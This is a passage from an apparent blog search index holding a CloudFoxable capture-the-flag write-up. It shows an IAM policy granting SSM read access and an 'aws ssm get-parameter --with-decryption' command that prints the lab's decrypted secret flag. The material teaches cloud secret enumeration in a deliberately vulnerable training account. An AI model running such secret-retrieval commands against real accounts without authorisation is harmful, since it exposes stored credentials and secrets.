[ \u0026#34;ssm:GetParameter\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: [ \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/its-a-secret\u0026#34; ] } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-10T13:33:46+00:00\u0026#34; } } Execution Aha! So we\u0026rsquo;re dealing with an SSM parameter. With all the information gathered, I have all the information on what I need to find, and confirmation that I can access it.\n1 2 3 4 5 6 7 8 9 10 11 12 adicpnn@laboratory:~$ aws ssm get-parameter --name /cloudfoxable/flag/its-a-secret --with-decryption --profile cloudfoxable { \u0026#34;Parameter\u0026#34;: { \u0026#34;Name\u0026#34;: \u0026#34;/cloudfoxable/flag/its-a-secret\u0026#34;, \u0026#34;Type\u0026#34;: \u0026#34;SecureString\u0026#34;, \u0026#34;Value\u0026#34;: \u0026#34;FLAG{ItsASecret::IsASecretASecretIfTooManyPeopleHaveAccessToIt?}\u0026#34;, \u0026#34;Version\u0026#34;: 1, \u0026#34;LastModifiedDate\u0026#34;: \u0026#34;2026-03-10T14:33:39.373000+01:00\u0026#34;, \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/its-a-secret\u0026#34;, \u0026#34;DataType\u0026#34;: \u0026#34;text\u0026#34; } } ","permalink":"https://adicpnn.com/blog/cloudfoxable/its-a-secret/","summary":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eFor this CTF, your starting CTF user has the following policies:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eSecurityAudit (AWS Managed)\r\nCloudFox (Customer Managed)\r\nits-a-secret (Customer Managed)\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe first two policies allow you to run CloudFox. The third policy allows this starting user to get the flag for this challenge. If you followed the setup steps in the First Flag challenge (if you are doing this in a workshop, the setup in First Flag has been done for you), you\u0026rsquo;ll have a profile called cloudfoxable which is tied to the \u003ccode\u003euser/ctf-starting-user\u003c/code\u003e.\u003c/p\u003e","title":"Cloudfoxable - It's a secret"}]